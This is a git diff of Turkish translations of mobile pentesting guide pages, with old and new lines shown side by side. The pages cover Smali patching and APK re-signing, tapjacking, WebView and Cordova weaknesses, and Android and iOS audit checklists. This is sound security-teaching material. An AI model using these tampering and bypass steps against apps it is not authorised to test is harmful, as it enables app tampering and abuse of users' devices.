**Talimatları** **değiştirebilir**, bazı değişkenlerin **değerlerini** değiştirebilir veya yeni talimatlar **ekleyebilirsiniz**. Smali kodunu [**VS Code**](https://code.visualstudio.com) kullanarak değiştiriyorum, ardından **smalise uzantısını** yükleyin ve editör size herhangi bir **talimatın yanlış olup olmadığını** söyleyecektir.\ **Talimatları** **değiştirebilir**, bazı değişkenlerin **değerlerini** değiştirebilir veya **yeni talimatlar** ekleyebilirsiniz. Smali kodunu [**VS Code**](https://code.visualstudio.com) kullanarak değiştiriyorum, ardından **smalise uzantısını** yükleyin ve editör size herhangi bir **talimatın yanlış olup olmadığını** söyleyecektir.\
Bazı **örnekler** burada bulunabilir: Bazı **örnekler** burada bulunabilir:
- [Smali değişiklik örnekleri](smali-changes.md) - [Smali değişiklik örnekleri](smali-changes.md)
- [Google CTF 2018 - Oyun Oynayalım mı?](google-ctf-2018-shall-we-play-a-game.md) - [Google CTF 2018 - Oyun Oynayalım mı?](google-ctf-2018-shall-we-play-a-game.md)
Ya da [**aşağıda bazı Smali değişikliklerinin açıklandığına göz atabilirsiniz**](smali-changes.md#modifying-smali). Ya da [**aşağıda bazı Smali değişikliklerinin açıklandığını kontrol edebilirsiniz**](smali-changes.md#modifying-smali).
## APK'yı yeniden derle ## APK'yı yeniden derle
@ -48,13 +48,13 @@ Yeni APK'yı _**dist**_ klasörünün **içinde** **derleyecektir**.
Eğer **apktool** bir **hata** verirse, [**en son sürümü**](https://ibotpeaches.github.io/Apktool/install/) yüklemeyi deneyin. Eğer **apktool** bir **hata** verirse, [**en son sürümü**](https://ibotpeaches.github.io/Apktool/install/) yüklemeyi deneyin.
### **Yeni APK'yı imzala** ### **Yeni APK'yı İmzala**
Sonra, bir **anahtar** **oluşturmanız** gerekiyor (bir şifre ve rastgele doldurabileceğiniz bazı bilgiler istenecektir): Sonra, bir **anahtar** **oluşturmanız** gerekiyor (bir şifre ve rastgele doldurabileceğiniz bazı bilgiler istenecektir):
```bash ```bash
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias> keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
``` ```
Sonunda, **imzala** yeni APK'yı: Sonunda, yeni APK'yı **imzala**:
```bash ```bash
jarsigner -keystore key.jks path/to/dist/* <your-alias> jarsigner -keystore key.jks path/to/dist/* <your-alias>
``` ```
@ -67,7 +67,7 @@ zipalign -v 4 infile.apk
``` ```
### **Yeni APK'yı imzalayın (yine mi?)** ### **Yeni APK'yı imzalayın (yine mi?)**
Eğer **apksigner** kullanmayı **tercih ediyorsanız**, **zipalign ile optimizasyonu** uyguladıktan sonra **apk'yı imzalamalısınız**. ANCAK DİKKAT EDİN, **UYGULAMAYI SADECE BİR KEZ** jarsigner ile (zipalign'dan önce) veya aspsigner ile (zipalign'dan sonra) **İMZALAMALISINIZ**. Eğer **apksigner** kullanmayı **tercih ediyorsanız** [**apksigner**](https://developer.android.com/studio/command-line/) yerine jarsigner, **apk'yı imzalamalısınız** zipalign ile **optimizasyonu uyguladıktan sonra**. ANCAK DİKKAT EDİN, Sadece **UYGULAMAYI BİR KEZ İMZALAMALISINIZ** jarsigner ile (zipalign'dan önce) veya aspsigner ile (zipalign'dan sonra).
```bash ```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk apksigner sign --ks key.jks ./dist/mycompiled.apk
``` ```
@ -142,14 +142,14 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
- Eğer fonksiyon içinde tanımlı değişkenleri kullanacaksanız (tanımlı v0,v1,v2...) bu satırları _.local \<number>_ ile değişkenlerin tanımları (_const v0, 0x1_) arasında koyun. - Eğer fonksiyon içinde tanımlı değişkenleri kullanacaksanız (tanımlı v0,v1,v2...) bu satırları _.local \<number>_ ile değişkenlerin tanımları (_const v0, 0x1_) arasında koyun.
- Eğer bir fonksiyonun kodunun ortasına logging kodunu eklemek istiyorsanız: - Eğer bir fonksiyonun kodunun ortasına logging kodunu eklemek istiyorsanız:
- Tanımlı değişkenlerin sayısına 2 ekleyin: Örnek: _.locals 10_'dan _.locals 12_'ye. - Tanımlı değişkenlerin sayısına 2 ekleyin: Örnek: _.locals 10_'dan _.locals 12_'ye.
- Yeni değişkenler, zaten tanımlı değişkenlerin sonraki numaraları olmalıdır (bu örnekte _v10_ ve _v11_ olmalıdır, unutmayın ki v0'dan başlar). - Yeni değişkenler, zaten tanımlı değişkenlerin sonraki numaraları olmalıdır (bu örnekte _v10_ ve _v11_ olmalıdır, v0'dan başladığını unutmayın).
- Logging fonksiyonunun kodunu değiştirin ve _v10_ ile _v11_'i _v5_ ve _v1_'in yerine kullanın. - Logging fonksiyonunun kodunu değiştirin ve _v5_ ve _v1_ yerine _v10_ ve _v11_ kullanın.
### Toasting ### Toasting
Fonksiyonun başında _.locals_ sayısına 3 eklemeyi unutmayın. Fonksiyonun başında _.locals_ sayısına 3 eklemeyi unutmayın.
Bu kod, **bir fonksiyonun ortasına** eklenmek üzere hazırlanmıştır (**değiştirin** **değişkenlerin** **numarasını** gerektiği gibi). **this.o**'nun **değerini** alacak, **String**'e **dönüştürecek** ve ardından **değerini** kullanarak bir **toast** yapacaktır. Bu kod, **bir fonksiyonun ortasına** eklenmek üzere hazırlanmıştır (**değişkenlerin** **sayısını** gerektiği gibi **değiştirin**). **this.o**'nun **değerini** alacak, **String**'e **dönüştürecek** ve ardından **değerini** kullanarak bir **toast** yapacaktır.
```bash ```bash
const/4 v10, 0x1 const/4 v10, 0x1
const/4 v11, 0x1 const/4 v11, 0x1

View File

@ -1,10 +1,10 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Bir uygulamanın belirli ülkelerle sınırlı olduğu ve bölgesel kısıtlamalar nedeniyle Android cihazınıza yükleyemediğiniz durumlarda, konumunuzu uygulamanın mevcut olduğu bir ülkeye sahte olarak göstererek erişim sağlayabilirsiniz. Aşağıdaki adımlar bunu nasıl yapacağınızı detaylandırmaktadır: Bir uygulamanın belirli ülkelerle sınırlı olduğu ve bölgesel kısıtlamalar nedeniyle Android cihazınıza yükleyemediğiniz durumlarda, konumunuzu uygulamanın mevcut olduğu bir ülkeye sahte olarak göstererek erişim sağlayabilirsiniz. Bunu nasıl yapacağınız aşağıda detaylandırılmıştır:
1. **Hotspot Shield Ücretsiz VPN Proxy'yi Yükleyin:** 1. **Hotspot Shield Ücretsiz VPN Proxy'yi Yükleyin:**
- Google Play Store'dan Hotspot Shield Ücretsiz VPN Proxy'yi indirip yükleyin. - Google Play Store'dan Hotspot Shield Ücretsiz VPN Proxy'yi indirin ve yükleyin.
2. **Bir VPN Sunucusuna Bağlanın:** 2. **Bir VPN Sunucusuna Bağlanın:**
@ -28,9 +28,9 @@ Bir uygulamanın belirli ülkelerle sınırlı olduğu ve bölgesel kısıtlamal
- Bu yöntemin etkinliği, VPN hizmetinin güvenilirliği ve uygulamanın uyguladığı belirli bölgesel kısıtlamalar gibi çeşitli faktörlere bağlı olarak değişebilir. - Bu yöntemin etkinliği, VPN hizmetinin güvenilirliği ve uygulamanın uyguladığı belirli bölgesel kısıtlamalar gibi çeşitli faktörlere bağlı olarak değişebilir.
- Bir VPN kullanmak, bazı uygulamaların ve hizmetlerin performansını etkileyebilir. - Bir VPN kullanmak, bazı uygulamaların ve hizmetlerin performansını etkileyebilir.
- Kullandığınız herhangi bir uygulama veya hizmetin hizmet şartlarını dikkate alın, çünkü bölgesel kısıtlamaları aşmak için bir VPN kullanmak bu şartları ihlal edebilir. - Kullandığınız herhangi bir uygulama veya hizmetin hizmet şartlarını dikkate alın, çünkü bölgesel kısıtlamaları aşmak için VPN kullanmak bu şartları ihlal edebilir.
## Referanslar ## References
- [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/) - [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)

View File

@ -4,7 +4,7 @@
## **Temel Bilgiler** ## **Temel Bilgiler**
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamanın üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamaya iletmektedir.\ **Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamanın üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü kullanıcıyı onunla etkileşime girmeye kandıracak şekilde tasarlanmıştır, bu arada etkileşimi kurban uygulamaya iletmektedir.\
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**. Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**.
### Tespit ### Tespit
@ -15,7 +15,7 @@ Bu saldırıya karşı savunmasız uygulamaları tespit etmek için, android man
#### Android 12 (API 31,32) ve üzeri #### Android 12 (API 31,32) ve üzeri
[**Bu kaynağa göre**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking saldırıları Android 12 (API 31 & 30) ve üzeri sürümlerde otomatik olarak engellenmektedir. Yani, uygulama savunmasız olsa bile **onu istismar edemezsiniz**. [**Bu kaynağa göre**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking saldırıları Android 12 (API 31 & 30) ve üzeri sürümlerde Android tarafından otomatik olarak engellenmektedir. Bu nedenle, uygulama savunmasız olsa bile **onu istismar edemezsiniz**.
#### `filterTouchesWhenObscured` #### `filterTouchesWhenObscured`
@ -37,9 +37,9 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity ### Tapjacking-ExportedActivity
En son **Android uygulaması** olan Tapjacking saldırısını gerçekleştiren (+ saldırıya uğrayan uygulamanın dışa aktarılan bir aktivitesinden önce çağrılarak) şu adreste bulabilirsiniz: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity). En **son Android uygulaması** olan Tapjacking saldırısını gerçekleştiren (ve saldırıya uğrayan uygulamanın dışa aktarılan bir aktivitesinden önce çağrılan) uygulama şu adreste bulunabilir: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
**Kullanım için README talimatlarını** takip edin. **Kullanmak için README talimatlarını izleyin**.
### FloatingWindowApp ### FloatingWindowApp
@ -47,14 +47,14 @@ En son **Android uygulaması** olan Tapjacking saldırısını gerçekleştiren
### Qark ### Qark
> [!CAUTION] > [!DİKKAT]
> Bu projenin artık bakımsız olduğu ve bu işlevselliğin düzgün çalışmadığı görünüyor. > Bu projenin artık bakımsız olduğu ve bu işlevselliğin düzgün çalışmadığı görünmektedir.
Olası **Tapjacking** zafiyetlerini test etmek için kötü niyetli bir uygulama oluşturmak üzere [**qark**](https://github.com/linkedin/qark) kullanabilirsiniz `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleri ile.\ Olası **Tapjacking** zafiyetlerini test etmek için kötü niyetli bir uygulama oluşturmak üzere [**qark**](https://github.com/linkedin/qark) kullanabilirsiniz; `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleri ile.
Zafiyetin giderilmesi oldukça basittir, çünkü geliştirici bir görünüm başka bir görünüm tarafından kaplandığında dokunma olaylarını almamayı seçebilir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanarak: Zafiyetin giderilmesi oldukça basittir, çünkü geliştirici bir görünüm başka bir görünüm tarafından kaplandığında dokunma olaylarını almamayı seçebilir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanarak:
> Bazen bir uygulamanın, bir izin talebini onaylama, bir satın alma işlemi yapma veya bir reklama tıklama gibi bir eylemin kullanıcının tam bilgisi ve rızasıyla gerçekleştirildiğini doğrulaması önemlidir. Ne yazık ki, kötü niyetli bir uygulama, görünümün amaçlanan amacını gizleyerek kullanıcının bu eylemleri gerçekleştirmesini sağlamak için kullanıcıyı kandırmaya çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar. > Bazen bir uygulamanın, bir izin talebini onaylama, bir satın alma yapma veya bir reklama tıklama gibi bir eylemin kullanıcının tam bilgisi ve rızasıyla gerçekleştirildiğini doğrulaması önemlidir. Ne yazık ki, kötü niyetli bir uygulama, görünümün niyet edilen amacını gizleyerek kullanıcının bu eylemleri bilmeden gerçekleştirmesini sağlamak için kullanıcıyı kandırmaya çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
> >
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) çağrısını yapın veya android:filterTouchesWhenObscured düzenleme özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresi başka bir görünür pencere tarafından kaplandığında alınan dokunmaları yok sayacaktır. Sonuç olarak, bir toast, diyalog veya başka bir pencere görünümün penceresinin üzerinde belirdiğinde görünüm dokunmaları almayacaktır. > Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) çağrısını yapın veya android:filterTouchesWhenObscured düzenleme özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresi başka bir görünür pencere tarafından kaplandığında alınan dokunmaları yok sayacaktır. Sonuç olarak, bir toast, diyalog veya başka bir pencere görünümün penceresinin üzerinde belirdiğinde görünüm dokunmaları almayacaktır.

View File

@ -19,7 +19,7 @@ Varsayılan olarak, WebView'lar dosya erişimine izin verir. Bu işlevsellik, An
- **Dosya URL'lerinden Evrensel Erişim**: Bu kaldırılan özellik, dosya URL'lerinden çapraz kökenli istekleri mümkün kılmakta olup, potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski taşımaktadır. Varsayılan ayar, Android Jelly Bean ve daha yeni sürümleri hedefleyen uygulamalar için devre dışıdır (`false`). - **Dosya URL'lerinden Evrensel Erişim**: Bu kaldırılan özellik, dosya URL'lerinden çapraz kökenli istekleri mümkün kılmakta olup, potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski taşımaktadır. Varsayılan ayar, Android Jelly Bean ve daha yeni sürümleri hedefleyen uygulamalar için devre dışıdır (`false`).
- Bu ayarı kontrol etmek için `getAllowUniversalAccessFromFileURLs()` kullanın. - Bu ayarı kontrol etmek için `getAllowUniversalAccessFromFileURLs()` kullanın.
- Bu ayarı değiştirmek için `setAllowUniversalAccessFromFileURLs(boolean)` kullanın. - Bu ayarı değiştirmek için `setAllowUniversalAccessFromFileURLs(boolean)` kullanın.
- **Dosya URL'lerinden Dosya Erişimi**: Bu özellik de kaldırılmıştır ve diğer dosya şeması URL'lerinden içerik erişimini kontrol etmiştir. Evrensel erişimde olduğu gibi, varsayılan ayarı güvenliği artırmak için devre dışıdır. - **Dosya URL'lerinden Dosya Erişimi**: Bu özellik de kaldırılmıştır ve diğer dosya şeması URL'lerinden içerik erişimini kontrol etmiştir. Evrensel erişimde olduğu gibi, varsayılan ayarı artırılmış güvenlik için devre dışıdır.
- Kontrol etmek için `getAllowFileAccessFromFileURLs()` ve ayarlamak için `setAllowFileAccessFromFileURLs(boolean)` kullanın. - Kontrol etmek için `getAllowFileAccessFromFileURLs()` ve ayarlamak için `setAllowFileAccessFromFileURLs(boolean)` kullanın.
#### **Güvenli Dosya Yükleme** #### **Güvenli Dosya Yükleme**
@ -44,7 +44,7 @@ Elbette, potansiyel bir saldırganın bir uygulamanın yükleyeceği **URL'yi**
### **JavaScript ve Intent Şeması Yönetimi** ### **JavaScript ve Intent Şeması Yönetimi**
- **JavaScript**: WebView'larda varsayılan olarak devre dışı bırakılmıştır, `setJavaScriptEnabled()` ile etkinleştirilebilir. JavaScript'in uygun korumalar olmadan etkinleştirilmesi güvenlik açıkları oluşturabileceğinden dikkatli olunmalıdır. - **JavaScript**: WebView'larda varsayılan olarak devre dışı bırakılmıştır, `setJavaScriptEnabled()` ile etkinleştirilebilir. JavaScript'in uygun korumalar olmadan etkinleştirilmesi güvenlik açıkları oluşturabileceğinden dikkatli olunmalıdır.
- **Intent Şeması**: WebView'lar `intent` şemasını işleyebilir, dikkatli yönetilmezse istismar durumlarına yol açabilir. Bir örnek güvenlik açığı, "support_url" adlı ifşa edilmiş bir WebView parametresinin, çapraz site betikleme (XSS) saldırılarını gerçekleştirmek için istismar edilebilmesidir. - **Intent Şeması**: WebView'lar `intent` şemasını işleyebilir, dikkatli yönetilmezse istismar durumlarına yol açabilir. Bir örnek güvenlik açığı, "support_url" adlı bir WebView parametresinin ifşa edilmesiyle ilgiliydi; bu, çapraz site betikleme (XSS) saldırılarını gerçekleştirmek için istismar edilebilirdi.
![Vulnerable WebView](<../../images/image (1191).png>) ![Vulnerable WebView](<../../images/image (1191).png>)

View File

@ -13,4 +13,49 @@
- [ ] [İçerik Sağlayıcıları](android-app-pentesting/#services) - [ ] [İçerik Sağlayıcıları](android-app-pentesting/#services)
- [ ] [Hizmetler](android-app-pentesting/#services-1) - [ ] [Hizmetler](android-app-pentesting/#services-1)
- [ ] [Yayıncı Alıcılar](android-app-pentesting/#broadcast-receivers) - [ ] [Yayıncı Alıcılar](android-app-pentesting/#broadcast-receivers)
- [ ] [N - [ ] [Niyetler](android-app-pentesting/#intents)
- [ ] [Niyet Filtreleri](android-app-pentesting/#intent-filter)
- [ ] [Diğer bileşenler](android-app-pentesting/#other-app-components)
- [ ] [ADB nasıl kullanılır](android-app-pentesting/#adb-android-debug-bridge)
- [ ] [Smali nasıl değiştirilir](android-app-pentesting/#smali)
### [Statik Analiz](android-app-pentesting/#static-analysis)
- [ ] [Obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information) kullanımı kontrol edin, mobilin root'lanıp root'lanmadığını, bir emülatör kullanılıp kullanılmadığını ve anti-tampering kontrollerini kontrol edin. [Daha fazla bilgi için bunu okuyun](android-app-pentesting/#other-checks).
- [ ] Hassas uygulamalar (banka uygulamaları gibi) mobilin root'lanıp root'lanmadığını kontrol etmeli ve buna göre hareket etmelidir.
- [ ] [İlginç dizeleri](android-app-pentesting/#looking-for-interesting-info) arayın (şifreler, URL'ler, API, şifreleme, arka kapılar, tokenlar, Bluetooth uuid'leri...).
- [ ] [Firebase](android-app-pentesting/#firebase) API'lerine özel dikkat.
- [ ] [Manifesti okuyun:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] Uygulamanın hata ayıklama modunda olup olmadığını kontrol edin ve "istismar" etmeye çalışın.
- [ ] APK'nın yedeklemelere izin verip vermediğini kontrol edin.
- [ ] Dışa Aktarılan Aktiviteler
- [ ] İçerik Sağlayıcıları
- [ ] Açık hizmetler
- [ ] Yayıncı Alıcılar
- [ ] URL Şemaları
- [ ] Uygulama [verileri güvensiz bir şekilde iç veya dışa kaydediyor mu](android-app-pentesting/#insecure-data-storage)?
- [ ] Herhangi bir [şifre sabit kodlanmış mı veya diske kaydedilmiş mi](android-app-pentesting/#poorkeymanagementprocesses)? Uygulama [güvensiz şifreleme algoritmaları mı kullanıyor](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
- [ ] Tüm kütüphaneler PIE bayrağı kullanılarak mı derlendi?
- [ ] Bu aşamada size çok yardımcı olabilecek bir dizi [statik Android Analizörü](android-app-pentesting/#automatic-analysis) olduğunu unutmayın.
### [Dinamik Analiz](android-app-pentesting/#dynamic-analysis)
- [ ] Ortamı hazırlayın ([çevrimiçi](android-app-pentesting/#online-dynamic-analysis), [yerel VM veya fiziksel](android-app-pentesting/#local-dynamic-analysis))
- [ ] Herhangi bir [istenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (günlükleme, kopyala/yapıştır, çökme günlükleri)?
- [ ] [Gizli bilgilerin SQLite veritabanlarında kaydedilmesi](android-app-pentesting/#sqlite-dbs)?
- [ ] [İstismar edilebilir dışa aktarılan Aktiviteler](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
- [ ] [İstismar edilebilir İçerik Sağlayıcıları](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
- [ ] [İstismar edilebilir açık Hizmetler](android-app-pentesting/#exploiting-services)?
- [ ] [İstismar edilebilir Yayıncı Alıcılar](android-app-pentesting/#exploiting-broadcast-receivers)?
- [ ] Uygulama [bilgileri düz metin olarak mı iletiyor/güçsüz algoritmalar mı kullanıyor](android-app-pentesting/#insufficient-transport-layer-protection)? Bir MitM mümkün mü?
- [ ] [HTTP/HTTPS trafiğini inceleyin](android-app-pentesting/#inspecting-http-traffic)
- [ ] Bu gerçekten önemlidir, çünkü HTTP trafiğini yakalayabilirseniz, yaygın Web güvenlik açıklarını arayabilirsiniz (Hacktricks'in Web güvenlik açıkları hakkında çok fazla bilgisi var).
- [ ] Olası [Android İstemci Tarafı Enjeksiyonları](android-app-pentesting/#android-client-side-injections-and-others) için kontrol edin (muhtemelen bazı statik kod analizi burada yardımcı olacaktır).
- [ ] [Frida](android-app-pentesting/#frida): Sadece Frida, uygulamadan ilginç dinamik veriler elde etmek için kullanın (belki bazı şifreler...)
### Bazı obfuscation/Deobfuscation bilgileri
- [ ] [Buradan okuyun](android-app-pentesting/#obfuscating-deobfuscating-code)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
**Daha fazla bilgi için [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Bu bir özet: **Daha fazla detay için [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Bu bir özet:
Apache Cordova, **JavaScript, HTML ve CSS** kullanarak **hibrit uygulamalar** geliştirmeyi sağladığı için tanınmaktadır. Android ve iOS uygulamalarının oluşturulmasına olanak tanır; ancak, uygulamanın kaynak kodunu güvence altına almak için varsayılan bir mekanizma sunmamaktadır. React Native'in aksine, Cordova varsayılan olarak kaynak kodunu derlemez, bu da kod değiştirme zafiyetlerine yol açabilir. Cordova, uygulamaları render etmek için WebView kullanır ve HTML ile JavaScript kodunu, APK veya IPA dosyalarına derlendikten sonra bile açığa çıkarır. React Native ise, JavaScript kodunu çalıştırmak için bir JavaScript VM kullanarak daha iyi kaynak kodu koruması sunar. Apache Cordova, **JavaScript, HTML ve CSS** kullanarak **hibrit uygulamalar** geliştirmeyi sağladığı için tanınmaktadır. Android ve iOS uygulamalarının oluşturulmasına olanak tanır; ancak, uygulamanın kaynak kodunu güvence altına almak için varsayılan bir mekanizma sunmamaktadır. React Native'in aksine, Cordova varsayılan olarak kaynak kodunu derlemez, bu da kod değiştirme zafiyetlerine yol açabilir. Cordova, uygulamaları render etmek için WebView kullanır ve HTML ile JavaScript kodunu, APK veya IPA dosyalarına derlendikten sonra bile açığa çıkarır. React Native ise, JavaScript kodunu çalıştırmak için bir JavaScript VM kullanarak daha iyi bir kaynak kodu koruması sunar.
### Cordova Uygulamasını Klonlama ### Cordova Uygulamasını Klonlama

View File

@ -20,21 +20,21 @@
- [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir. - [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir.
- [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir. - [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir.
- [ ] [**Anahtar zinciri**](ios-pentesting/#keychain) genellikle telefonun yeniden satılması durumunda bırakılabilecek hassas bilgileri depolamak için kullanılır. - [ ] [**Anahtar zinciri**](ios-pentesting/#keychain) genellikle telefonun yeniden satılması durumunda bırakılabilecek hassas bilgileri depolamak için kullanılır.
- [ ] Özetle, sadece **uygulama tarafından dosya sisteminde kaydedilen hassas bilgileri kontrol edin** - [ ] Özetle, uygulamanın dosya sisteminde kaydettiği hassas bilgileri **kontrol edin**.
### Klavyeler ### Klavyeler
- [ ] Uygulama [**özel klavyelerin kullanılmasına izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)? - [ ] Uygulama [**özel klavyeleri kullanmaya izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)?
- [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) kaydedilip kaydedilmediğini kontrol edin. - [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) kaydedilip kaydedilmediğini kontrol edin.
### **Günlükler** ### **Günlükler**
- [ ] [**hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin. - [ ] [**Hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin.
### Yedeklemeler ### Yedeklemeler
- [ ] [**Yedeklemeler**](ios-pentesting/#backups) dosya sisteminde kaydedilen **hassas bilgilere erişmek için** kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin). - [ ] [**Yedeklemeler**](ios-pentesting/#backups) dosya sisteminde kaydedilen **hassas bilgilere erişmek için** kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin).
- [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) **uygulamanın bazı yapılandırmalarını değiştirmek için** kullanılabilir, ardından yedeği telefona **geri yükleyin** ve **değiştirilmiş yapılandırma** **yüklenirken** bazı (güvenlik) **işlevsellik** **atlatılabilir**. - [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını **değiştirmek için** kullanılabilir, ardından yedeği telefona **geri yükleyin** ve **değiştirilmiş yapılandırma** **yüklenirse** bazı (güvenlik) **işlevsellik** **atlatılabilir**.
### **Uygulama Belleği** ### **Uygulama Belleği**
@ -52,18 +52,18 @@
- [ ] [**Yerel Kimlik Doğrulama Çerçevesi**](ios-pentesting/#local-authentication-framework) kullanıyorsa, kolayca atlatılabilir. - [ ] [**Yerel Kimlik Doğrulama Çerçevesi**](ios-pentesting/#local-authentication-framework) kullanıyorsa, kolayca atlatılabilir.
- [ ] [**dinamik olarak atlatılabilen bir işlev**](ios-pentesting/#local-authentication-using-keychain) kullanıyorsa, özel bir frida betiği oluşturabilirsiniz. - [ ] [**dinamik olarak atlatılabilen bir işlev**](ios-pentesting/#local-authentication-using-keychain) kullanıyorsa, özel bir frida betiği oluşturabilirsiniz.
### IPC Üzerinden Hassas İşlevsellik Açığa Çıkma ### IPC Üzerinden Hassas İşlevsellik Açığa Çıkması
- [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) - [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] Uygulamanın **herhangi bir protokol/şemayı kaydedip kaydetmediğini** kontrol edin. - [ ] Uygulamanın **herhangi bir protokol/şemayı kaydedip kaydetmediğini** kontrol edin.
- [ ] Uygulamanın **herhangi bir protokol/şemayı kullanmak için kaydedilip kaydedilmediğini** kontrol edin. - [ ] Uygulamanın **herhangi bir protokol/şemayı kullanmak için kaydedilip kaydedilmediğini** kontrol edin.
- [ ] Uygulamanın **özel şemadan herhangi bir türde hassas bilgi almayı bekleyip beklemediğini** kontrol edin; bu bilgi, aynı şemayı kaydeden başka bir uygulama tarafından **yakalanabilir**. - [ ] Uygulamanın **aynı şemayı kaydeden başka bir uygulamadan** **yakalanabilecek** özel şemadan **herhangi bir tür hassas bilgi almayı bekleyip beklemediğini** kontrol edin.
- [ ] Uygulamanın **özel şema aracılığıyla kullanıcı girişini kontrol edip temizlemediğini** ve bazı **açıkların istismar edilebileceğini** kontrol edin. - [ ] Uygulamanın **özel şema aracılığıyla kullanıcı girişlerini kontrol edip temizlemediğini** ve bazı **açıkların istismar edilebileceğini** kontrol edin.
- [ ] Uygulamanın **herhangi bir hassas eylemi** özel şema aracılığıyla her yerden çağrılabilir şekilde **açıkça sunduğunu** kontrol edin. - [ ] Uygulamanın **herhangi bir hassas eylemi** özel şema aracılığıyla her yerden çağrılabilir şekilde **açıkça sunduğunu** kontrol edin.
- [**Evrensel Bağlantılar**](ios-pentesting/#universal-links) - [**Evrensel Bağlantılar**](ios-pentesting/#universal-links)
- [ ] Uygulamanın **herhangi bir evrensel protokol/şemayı kaydedip kaydetmediğini** kontrol edin. - [ ] Uygulamanın **herhangi bir evrensel protokol/şemayı kaydedip kaydetmediğini** kontrol edin.
- [ ] `apple-app-site-association` dosyasını kontrol edin. - [ ] `apple-app-site-association` dosyasını kontrol edin.
